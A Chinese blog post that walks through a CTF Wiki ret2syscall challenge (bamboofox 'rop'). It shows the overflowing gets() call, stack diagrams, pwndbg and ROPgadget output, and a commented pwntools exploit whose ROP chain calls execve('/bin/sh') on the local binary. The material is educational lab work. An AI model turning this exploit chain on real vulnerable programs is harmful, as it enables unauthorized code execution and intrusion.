{"id":72561,"date":"2026-02-05T23:48:54","date_gmt":"2026-02-05T15:48:54","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/72561.html"},"modified":"2026-02-05T23:48:54","modified_gmt":"2026-02-05T15:48:54","slug":"pwn-%e5%af%b9ctf-wiki%e7%9a%84%e5%a4%8d%e7%8e%b0%e5%86%8d%e5%ad%a6%e4%b9%a0-%ef%bc%88%e7%ac%ac%e4%b8%89%e6%9c%9f%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/72561.html","title":{"rendered":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09"},"content":{"rendered":"

ret2syscall<\/h4>\n

\u4e0b\u8f7d\u5730\u5740：https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rop<\/span>https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rop<\/span><\/span><\/p>\n

bamboofox-ret2syscall<\/p>\n

1.checksec+\u770b\u4f2a\u4ee3\u7801<\/h4>\n

Arch: i386-32-little
\n RELRO: Partial RELRO
\n Stack: No canary found
\n NX: NX enabled<\/p>\n

int __cdecl main(int argc, const char **argv, const char **envp)
\n{
\n int v4; \/\/ [esp+1Ch] [ebp-64h] BYREF<\/p>\n

setvbuf(stdout, 0, 2, 0);
\n setvbuf(stdin, 0, 1, 0);
\n puts("This time, no system() and NO SHELLCODE!!!");
\n puts("What do you plan to do?");
\n gets(&v4);
\n return 0;
\n} <\/p>\n

\u653b\u51fb\u539f\u7406：ret2syscall \u7684\u672c\u8d28\u662f \u901a\u8fc7\u7f13\u51b2\u533a\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740，\u62fc\u63a5 Gadget \u4f9d\u6b21\u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u5bc4\u5b58\u5668\u53c2\u6570，\u6700\u7ec8\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528（\u4f8b\u5b50\u5982\u4e0b）<\/p>\n

  • \u7f13\u51b2\u533a\u586b\u5145：\u7528\u65e0\u7528\u6570\u636e（\u5982 A）\u586b\u5145\u6808\u4e0a\u7684\u7f13\u51b2\u533a，\u76f4\u5230\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740（EIP \u5bc4\u5b58\u5668\u5bf9\u5e94\u7684\u6808\u4f4d\u7f6e）；<\/li>\n
  • \u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u53f7：\u8df3\u8f6c\u5230 pop eax; ret Gadget，\u5c06\u6808\u4e0a\u7684 0xb \u5f39\u51fa\u5230 eax \u5bc4\u5b58\u5668（\u8bbe\u7f6e execve \u8c03\u7528\u53f7）；<\/li>\n
  • \u89e6\u53d1\u7cfb\u7edf\u8c03\u7528：\u8df3\u8f6c\u5230 int 0x80 \u6307\u4ee4\u5730\u5740，\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528，\u6267\u884c execve("\/bin\/sh", NULL, NULL)；<\/li>\n
  • \u83b7\u53d6 shell：\u7cfb\u7edf\u8c03\u7528\u6267\u884c\u540e，\u7a0b\u5e8f\u6267\u884c\u6d41\u5207\u6362\u5230 shell，\u653b\u51fb\u8005\u83b7\u5f97\u4ea4\u4e92\u5f0f\u63a7\u5236\u6743\u9650\u3002<\/li>\n

    （\u6808\u5e03\u5c40\u793a\u610f\u56fe）<\/p>\n

    \u9ad8\u5730\u5740
    \n+———————+
    \n| \u8fd4\u56de\u5730\u5740 4 | \u2190 int 0x80 \/ syscall\u5730\u5740
    \n+———————+
    \n| \u53c2\u6570 6 (ebp\/edi) | \u2190 \u5982\u679c\u6709\u7b2c6\u4e2a\u53c2\u6570
    \n+———————+
    \n| \u53c2\u6570 5 (esi) | \u2190 \u5982\u679c\u6709\u7b2c5\u4e2a\u53c2\u6570
    \n+———————+
    \n| \u53c2\u6570 4 (ecx) | \u2190 \u5982\u679c\u6709\u7b2c4\u4e2a\u53c2\u6570
    \n+———————+
    \n| \u53c2\u6570 3 (edx) | \u2190 \u5982\u679c\u6709\u7b2c3\u4e2a\u53c2\u6570
    \n+———————+
    \n| \u53c2\u6570 2 (ecx\/esi) | \u2190 \u5982\u679c\u6709\u7b2c2\u4e2a\u53c2\u6570
    \n+———————+
    \n| \u53c2\u6570 1 (ebx\/rdi) | \u2190 \u7b2c\u4e00\u4e2a\u53c2\u6570（\u901a\u5e38\u662f\u5b57\u7b26\u4e32\u5730\u5740）
    \n+———————+
    \n| Gadget 4 | \u2190 pop edx; ret (\u8bbe\u7f6e\u7b2c\u4e09\u4e2a\u53c2\u6570)
    \n+———————+
    \n| \u53c2\u6570\u503c 3 |
    \n+———————+
    \n| Gadget 3 | \u2190 pop ecx; ret (\u8bbe\u7f6e\u7b2c\u4e8c\u4e2a\u53c2\u6570)
    \n+———————+
    \n| \u53c2\u6570\u503c 2 |
    \n+———————+
    \n| Gadget 2 | \u2190 pop ebx; ret (\u8bbe\u7f6e\u7b2c\u4e00\u4e2a\u53c2\u6570)
    \n+———————+
    \n| \u53c2\u6570\u503c 1 |
    \n+———————+
    \n| Gadget 1 | \u2190 pop eax; ret (\u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u53f7)
    \n+———————+
    \n| \u7cfb\u7edf\u8c03\u7528\u53f7 | \u2190 execve=0xb, read=0x3, write=0x4\u7b49
    \n+———————+
    \n| \u7f13\u51b2\u533a\u6ea2\u51fa\u586b\u5145 | \u2190 "A"*offset
    \n+———————+
    \n\u4f4e\u5730\u5740 <\/p>\n

    （\u6267\u884c\u6d41\u7a0b\u793a\u610f\u56fe）<\/p>\n

    \u6b63\u5e38\u51fd\u6570\u8fd4\u56de \u2192
    \n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
    \n\u2502 \u88ab\u8986\u76d6\u7684\u8fd4\u56de\u5730\u5740\u6307\u5411\u7b2c\u4e00\u4e2aROP gadget \u2502
    \n\u2502 (pop eax; ret) \u2502
    \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
    \n\u2502 1. pop eax \u2502
    \n\u2502 – \u4ece\u6808\u4e2d\u5f39\u51fa\u7cfb\u7edf\u8c03\u7528\u53f7\u5230eax\u5bc4\u5b58\u5668 \u2502
    \n\u2502 2. ret \u2502
    \n\u2502 – \u8fd4\u56de\u5230\u6808\u4e2d\u4e0b\u4e00\u4e2a\u5730\u5740 (pop ebx; ret) \u2502
    \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
    \n\u2502 3. pop ebx \u2502
    \n\u2502 – \u4ece\u6808\u4e2d\u5f39\u51fa\u7b2c\u4e00\u4e2a\u53c2\u6570\u5230ebx\u5bc4\u5b58\u5668 \u2502
    \n\u2502 (\u5982"\/bin\/sh"\u5b57\u7b26\u4e32\u5730\u5740) \u2502
    \n\u2502 4. ret \u2502
    \n\u2502 – \u8fd4\u56de\u5230\u4e0b\u4e00\u4e2agadget \u2502
    \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
    \n\u2502 5. pop ecx \u2502
    \n\u2502 – \u5f39\u51fa\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5230ecx \u2502
    \n\u2502 (\u901a\u5e38\u662fargv[]\u6570\u7ec4\u5730\u5740) \u2502
    \n\u2502 6. ret \u2502
    \n\u2502 – \u8fd4\u56de\u5230\u4e0b\u4e00\u4e2agadget \u2502
    \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
    \n\u2502 7. pop edx \u2502
    \n\u2502 – \u5f39\u51fa\u7b2c\u4e09\u4e2a\u53c2\u6570\u5230edx \u2502
    \n\u2502 (\u901a\u5e38\u662fenvp[]\u6570\u7ec4\u5730\u5740) \u2502
    \n\u2502 8. ret \u2502
    \n\u2502 – \u8fd4\u56de\u5230int 0x80 \/ syscall\u5730\u5740 \u2502
    \n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524
    \n\u2502 9. int 0x80 \/ syscall \u2502
    \n\u2502 – \u6267\u884c\u7cfb\u7edf\u8c03\u7528 \u2502
    \n\u2502 – eax=\u7cfb\u7edf\u8c03\u7528\u53f7 \u2502
    \n\u2502 – ebx=\u7b2c\u4e00\u4e2a\u53c2\u6570 \u2502
    \n\u2502 – ecx=\u7b2c\u4e8c\u4e2a\u53c2\u6570 \u2502
    \n\u2502 – edx=\u7b2c\u4e09\u4e2a\u53c2\u6570 \u2502
    \n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 <\/p>\n

    （\u5bc4\u5b58\u5668\u793a\u610f\u56fe）<\/p>\n

    \u6267\u884c\u524d: \u6267\u884c\u540e:
    \n+———-+——-+ +———-+——-+
    \n| \u5bc4\u5b58\u5668 | \u503c | | \u5bc4\u5b58\u5668 | \u503c |
    \n+———-+——-+ +———-+——-+
    \n| eax | \u968f\u673a | | eax | 0xb |
    \n| ebx | \u968f\u673a | | ebx | ptr |
    \n| ecx | \u968f\u673a | \u2192 | ecx | ptr |
    \n| edx | \u968f\u673a | | edx | ptr |
    \n| eip | gadget| | eip | 0x80 |
    \n+———-+——-+ +———-+——-+<\/p>\n

    \u7cfb\u7edf\u8c03\u7528: execve("\/bin\/sh", argv[], envp[]) <\/p>\n

    2.\u7528\u4e0a\u671f\u6559\u7684\u65b9\u6cd5\u67e5\u770b\u9700\u8981\u586b\u5145\u7684padding<\/h4>\n

    00:0000\u2502 esp 0xffffcdf0 \u2014\u25b8 0xffffce0c \u25c2\u2014 'aaaaaaaaaaaaaaaaaaaa'
    \n01:0004\u2502 0xffffcdf4 \u25c2\u2014 0x0
    \n02:0008\u2502 0xffffcdf8 \u25c2\u2014 0x1
    \n03:000c\u2502 0xffffcdfc \u25c2\u2014 0x0
    \n04:0010\u2502 0xffffce00 \u25c2\u2014 0x1
    \n05:0014\u2502 0xffffce04 \u2014\u25b8 0xffffcf04 \u2014\u25b8 0xffffd10e \u25c2\u2014 '\/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop'
    \n06:0018\u2502 0xffffce08 \u2014\u25b8 0xffffcf0c \u2014\u25b8 0xffffd148 \u25c2\u2014 'DBUS_SESSION_BUS_ADDRESS=unix:path=\/run\/user\/1000\/bus,guid=1ab5f4d341f177439a071922697f1152'
    \n07:001c\u2502 0xffffce0c \u25c2\u2014 'aaaaaaaaaaaaaaaaaaaa'
    \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
    \n \u25ba f 0 8048ea0 main+124
    \n f 1 804907a __libc_start_main+458
    \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
    \npwndbg> tele 0xffffce0c
    \n00:0000\u2502 0xffffce0c \u25c2\u2014 'aaaaaaaaaaaaaaaaaaaa'
    \n… \u2193
    \n05:0014\u2502 0xffffce20 \u25c2\u2014 0x0
    \n06:0018\u2502 0xffffce24 \u25c2\u2014 0x10
    \n07:001c\u2502 0xffffce28 \u2014\u25b8 0x80e9f44 \u2014\u25b8 0x80eaea0 (_nl_global_locale) \u2014\u25b8 0x80c3ae0 (_nl_C_LC_CTYPE) \u2014\u25b8 0x80d15fc (_nl_C_name) \u25c2\u2014 …
    \npwndbg> i r $ebp
    \nebp 0xffffce780xffffce78<\/p>\n

    padding=0xffffce78-0xffffce0c+ebp\u6240\u5360\u7a7a\u95f4=112<\/p>\n

    3.\u653b\u51fb\u65b9\u6cd5<\/h4>\n

    \u8fd9\u91cc\u6211\u4eec\u662f\u7528ret2syscall\u65b9\u6cd5\u8fdb\u884c\u653b\u51fb，\u9996\u5148\u627e\u5230\u53ef\u7528\u7cfb\u7edf\u8c03\u7528\u6765\u83b7\u5f97shell（\u8fd9\u91cc\u6211\u6709\u70b9\u5fd8\u4e86\u8be5\u600e\u4e48\u627e\u6765\u83b7\u5f97\u4e0d\u540c\u7cfb\u7edf\u8c03\u7528\u53f7\u548c\u6240\u9700\u586b\u8865\u7684\u503c，\u6709\u77e5\u9053\u7684\u53ef\u4ee5\u5728\u8bc4\u8bba\u533a\u7ed9\u5927\u5bb6\u5c55\u793a\u4e00\u4e0b，\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u5c31\u6309\u7167wiki\u91cc\u7684\u6765）<\/p>\n

    https:\/\/zh.wikipedia.org\/wiki\/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8<\/p>\n

    \u8be5\u7a0b\u5e8f\u662f 32 \u4f4d，\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4f7f\u5f97：<\/p>\n

  • \u7cfb\u7edf\u8c03\u7528\u53f7，\u5373 eax \u5e94\u8be5\u4e3a 0xb<\/li>\n
  • \u7b2c\u4e00\u4e2a\u53c2\u6570，\u5373 ebx \u5e94\u8be5\u6307\u5411 \/bin\/sh \u7684\u5730\u5740，\u5176\u5b9e\u6267\u884c sh \u7684\u5730\u5740\u4e5f\u53ef\u4ee5\u3002<\/li>\n
  • \u7b2c\u4e8c\u4e2a\u53c2\u6570，\u5373 ecx \u5e94\u8be5\u4e3a 0<\/li>\n
  • \u7b2c\u4e09\u4e2a\u53c2\u6570，\u5373 edx \u5e94\u8be5\u4e3a 0<\/li>\n

    ROPgadget\u4f7f\u7528，\u4e5f\u53ef\u4ee5\u7528ropper<\/p>\n

    ROPgadget –binary rop –only 'pop|ret' | grep 'eax'
    \n0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    \n0x080bb196 : pop eax ; ret
    \n0x0807217a : pop eax ; ret 0x80e
    \n0x0804f704 : pop eax ; ret 3
    \n0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret<\/p>\n

    \u5f97\u5230\u00a00x080bb196<\/p>\n

    \u540c\u7406\u5f97\u5230<\/p>\n

    ROPgadget –binary rop –only 'pop|ret' | grep 'ebx'
    \n0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    \n0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    \n0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
    \n0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
    \n0x080be23f : pop ebx ; pop edi ; ret
    \n0x0806eb69 : pop ebx ; pop edx ; ret
    \n0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
    \n0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    \n0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
    \n0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
    \n0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
    \n0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
    \n0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
    \n0x08048913 : pop ebx ; pop esi ; pop edi ; ret
    \n0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
    \n0x08049a94 : pop ebx ; pop esi ; ret
    \n0x080481c9 : pop ebx ; ret
    \n0x080d7d3c : pop ebx ; ret 0x6f9
    \n0x08099c87 : pop ebx ; ret 8
    \n0x0806eb91 : pop ecx ; pop ebx ; ret
    \n0x0806336b : pop edi ; pop esi ; pop ebx ; ret
    \n0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
    \n0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
    \n0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
    \n0x0805c820 : pop esi ; pop ebx ; ret
    \n0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    \n0x0807b6ed : pop ss ; pop ebx ; ret<\/p>\n

    \u6211\u4eec\u5f97\u5230\u00a00x0806eb90<\/p>\n

    \u540e\u9762\u4e24\u4e2a\u540c\u7406<\/p>\n

    ROPgadget –binary rop –string '\/bin\/sh'
    \nROPgadget –binary rop –only 'int' <\/p>\n

    4.\u5199\u51faExp<\/h4>\n

    #!\/usr\/bin\/env python
    \n# \u3010shebang\u884c\u3011\u6307\u5b9a\u811a\u672c\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u7684Python\u89e3\u91ca\u5668\u6267\u884c，\u662fLinux\u811a\u672c\u7684\u6807\u51c6\u5f00\u5934
    \n# \u8be5\u811a\u672c\u662f32\u4f4dLinux\u4e0bret2syscall\u653b\u51fb\u7684ROP\u811a\u672c，\u6838\u5fc3\u76ee\u6807\u662f\u901a\u8fc7\u7f13\u51b2\u533a\u6ea2\u51fa\u89e6\u53d1execve("\/bin\/sh")\u83b7\u53d6shell<\/p>\n

    # \u5bfc\u5165pwntools\u5e93（CTF\u4e8c\u8fdb\u5236\u6f0f\u6d1e\u5229\u7528\u7684\u6838\u5fc3\u5de5\u5177\u5e93）
    \n# \u63d0\u4f9b\u8fdb\u7a0b\u4ea4\u4e92\u3001ROP\u94fe\u6784\u9020\u3001\u6570\u636e\u6253\u5305（flat\u51fd\u6570）\u7b49\u6838\u5fc3\u529f\u80fd
    \nfrom pwn import *<\/p>\n

    # 1. \u542f\u52a8\u76ee\u6807\u8fdb\u7a0b，\u5efa\u7acb\u4e0e\u76ee\u6807\u7a0b\u5e8f\u7684\u4ea4\u4e92\u901a\u9053
    \n# '.\/rop'\u662f\u76ee\u6807\u6f0f\u6d1e\u7a0b\u5e8f\u7684\u8def\u5f84，sh\u662f\u8fdb\u7a0b\u4ea4\u4e92\u5bf9\u8c61（\u7528\u4e8e\u53d1\u9001payload\u3001\u63a5\u6536\u8f93\u51fa\u3001\u4ea4\u4e92shell）
    \nsh = process('.\/rop')<\/p>\n

    # 2. \u5b9a\u4e49ret2syscall\u653b\u51fb\u6240\u9700\u7684\u5173\u952eROP Gadget\u5730\u5740（\u9700\u63d0\u524d\u901a\u8fc7ROPgadget\u5de5\u5177\u4ece\u76ee\u6807\u7a0b\u5e8f\u4e2d\u63d0\u53d6）
    \n# Gadget\u662f\u7a0b\u5e8f\u4e2d\u4ee5ret\u7ed3\u5c3e\u7684\u77ed\u6307\u4ee4\u7247\u6bb5，\u662fROP\u653b\u51fb\u7684"\u79ef\u6728"
    \n# 32\u4f4dLinux\u4e0bexecve("\/bin\/sh")\u9700\u8981\u5148\u7ed9\u5bc4\u5b58\u5668\u8d4b\u503c，\u518d\u89e6\u53d1int 0x80\u4e2d\u65ad<\/p>\n

    # (1) pop eax; ret \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740
    \n# \u4f5c\u7528：\u5c06\u6808\u4e0a\u7d27\u8ddf\u7684\u6570\u503c\u5f39\u51fa\u5230eax\u5bc4\u5b58\u5668（eax\u7528\u4e8e\u5b58\u50a8\u7cfb\u7edf\u8c03\u7528\u53f7）
    \npop_eax_ret = 0x080bb196<\/p>\n

    # (2) pop edx; pop ecx; pop ebx; ret \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740
    \n# \u4f5c\u7528：\u4f9d\u6b21\u5c06\u6808\u4e0a\u76843\u4e2a\u6570\u503c\u5f39\u51fa\u5230edx\u3001ecx\u3001ebx\u5bc4\u5b58\u5668（\u8fd9\u4e09\u4e2a\u5bc4\u5b58\u5668\u7528\u4e8e\u5b58\u50a8execve\u7684\u53c2\u6570）
    \n# \u6ce8\u610f：pop\u7684\u987a\u5e8f\u548c\u5bc4\u5b58\u5668\u4e00\u4e00\u5bf9\u5e94，\u6808\u4e0a\u6570\u503c\u987a\u5e8f\u9700\u5339\u914d\u8be5\u987a\u5e8f
    \npop_edx_ecx_ebx_ret = 0x0806eb90<\/p>\n

    # (3) int 0x80 \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740
    \n# \u4f5c\u7528：\u89e6\u53d1Linux\u7cfb\u7edf\u8c03\u7528\u4e2d\u65ad，\u5185\u6838\u4f1a\u6839\u636eeax\u7684\u503c\u6267\u884c\u5bf9\u5e94\u7684\u7cfb\u7edf\u8c03\u7528（\u6b64\u5904\u662fexecve）
    \nint_0x80 = 0x08049421<\/p>\n

    # (4) "\/bin\/sh"\u5b57\u7b26\u4e32\u5728\u76ee\u6807\u7a0b\u5e8f\u5185\u5b58\u4e2d\u7684\u9996\u5730\u5740
    \n# \u4f5c\u7528：\u4f5c\u4e3aexecve\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570（ebx\u9700\u8981\u6307\u5411\u8be5\u5730\u5740）
    \nbinsh = 0x80be408<\/p>\n

    # 3. \u6784\u9020\u7f13\u51b2\u533a\u6ea2\u51fa\u7684payload（\u6838\u5fc3\u653b\u51fb\u6570\u636e）
    \npayload = flat(
    \n ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    \n# flat\u51fd\u6570：pwntools\u7684\u667a\u80fd\u6253\u5305\u5de5\u5177，\u81ea\u52a8\u5c06\u4e0d\u540c\u7c7b\u578b\u6570\u636e（\u5b57\u7b26\u4e32\u3001\u6574\u6570）\u8f6c\u4e3a32\u4f4d\u5c0f\u7aef\u5e8f\u5b57\u8282\u4e32\u5e76\u62fc\u63a5
    \n# payload\u7684\u6784\u9020\u4e25\u683c\u9075\u5faa\u6808\u5e03\u5c40\u89c4\u5219：\u586b\u5145\u5b57\u7b26 \u2192 gadget\u5730\u5740 \u2192 \u5bc4\u5b58\u5668\u503c \u2192 \u4e0b\u4e00\u4e2agadget\u5730\u5740 \u2192 …
    \n# payload = flat(
    \n # \u7b2c\u4e00\u90e8\u5206：\u586b\u5145\u5b57\u7b26（112\u4e2a'A'）
    \n # \u4f5c\u7528：\u586b\u6ee1\u6808\u4e0a\u7684\u7f13\u51b2\u533a，\u521a\u597d\u8986\u76d6\u5230\u6f0f\u6d1e\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740（EIP）\u4f4d\u7f6e
    \n # 112\u662f\u901a\u8fc7\u6f0f\u6d1e\u8c03\u8bd5（\u5982gdb）\u786e\u5b9a\u7684\u7cbe\u51c6\u586b\u5145\u957f\u5ea6，\u5c11\u5219\u65e0\u6cd5\u8986\u76d6EIP，\u591a\u5219\u7834\u574f\u540e\u7eedROP\u94fe
    \n #'A' * 112,<\/p>\n

    # \u7b2c\u4e8c\u90e8\u5206：\u8bbe\u7f6eexecve\u7cfb\u7edf\u8c03\u7528\u53f7（eax=0xb）
    \n # \u7b2c\u4e00\u6b65：\u8df3\u8f6c\u5230pop_eax_ret gadget（\u8986\u76d6\u539f\u8fd4\u56de\u5730\u5740，\u7a0b\u5e8fret\u65f6\u8df3\u81f3\u6b64）
    \n #pop_eax_ret,
    \n # \u7b2c\u4e8c\u6b65：\u6808\u4e0a\u76840xb\u4f1a\u88abpop eax\u6307\u4ee4\u5199\u5165eax\u5bc4\u5b58\u5668（0xb\u662fexecve\u7684\u7cfb\u7edf\u8c03\u7528\u53f7，\u5341\u8fdb\u523611）
    \n #0xb,<\/p>\n

    # \u7b2c\u4e09\u90e8\u5206：\u8bbe\u7f6eexecve\u7684\u4e09\u4e2a\u53c2\u6570（edx=0, ecx=0, ebx=\/bin\/sh\u5730\u5740）
    \n # \u7b2c\u4e00\u6b65：\u8df3\u8f6c\u5230pop_edx_ecx_ebx_ret gadget（pop eax\u540e\u7684ret\u6307\u4ee4\u8df3\u81f3\u6b64）
    \n #pop_edx_ecx_ebx_ret,
    \n # \u7b2c\u4e8c\u6b65：\u6808\u4e0a\u76840\u88abpop edx\u5199\u5165edx（execve\u7b2c\u4e09\u4e2a\u53c2\u6570：\u73af\u5883\u53d8\u91cf\u6570\u7ec4，\u8bbe\u4e3aNULL）
    \n #0,
    \n # \u7b2c\u4e09\u6b65：\u6808\u4e0a\u76840\u88abpop ecx\u5199\u5165ecx（execve\u7b2c\u4e8c\u4e2a\u53c2\u6570：\u53c2\u6570\u6570\u7ec4，\u8bbe\u4e3aNULL）
    \n #0,
    \n # \u7b2c\u56db\u6b65：\u6808\u4e0a\u7684binsh\u5730\u5740\u88abpop ebx\u5199\u5165ebx（execve\u7b2c\u4e00\u4e2a\u53c2\u6570：\u6307\u5411"\/bin\/sh"）
    \n #binsh,<\/p>\n

    # \u7b2c\u56db\u90e8\u5206：\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528
    \n # \u8df3\u8f6c\u5230int_0x80\u6307\u4ee4，\u6b64\u65f6\u6240\u6709\u5bc4\u5b58\u5668\u53c2\u6570\u5df2\u51c6\u5907\u597d，\u5185\u6838\u6267\u884cexecve("\/bin\/sh", NULL, NULL)
    \n #int_0x80
    \n#)<\/p>\n

    # 4. \u53d1\u9001\u6784\u9020\u597d\u7684payload\u5230\u76ee\u6807\u8fdb\u7a0b
    \n# sendline\u4f1a\u81ea\u52a8\u6dfb\u52a0\u6362\u884c\u7b26，\u786e\u4fddpayload\u88ab\u76ee\u6807\u7a0b\u5e8f\u7684\u8f93\u5165\u51fd\u6570（\u5982scanf\u3001gets）\u5b8c\u6574\u8bfb\u53d6
    \n# \u53d1\u9001\u540e\u7acb\u5373\u89e6\u53d1\u7f13\u51b2\u533a\u6ea2\u51fa，\u52ab\u6301\u7a0b\u5e8f\u6267\u884c\u6d41
    \nsh.sendline(payload)<\/p>\n

    # 5. \u8fdb\u5165\u4ea4\u4e92\u5f0f\u6a21\u5f0f，\u63a5\u7ba1\u76ee\u6807\u8fdb\u7a0b\u7684\u8f93\u5165\/\u8f93\u51fa
    \n# \u6b64\u65f6execve("\/bin\/sh")\u5df2\u6267\u884c，\u7a0b\u5e8f\u4f1a\u5f39\u51fashell，\u8be5\u6307\u4ee4\u8ba9\u4f60\u53ef\u4ee5\u548cshell\u4ea4\u4e92（\u6267\u884cls\u3001cat\u7b49\u547d\u4ee4）
    \nsh.interactive() <\/p>\n

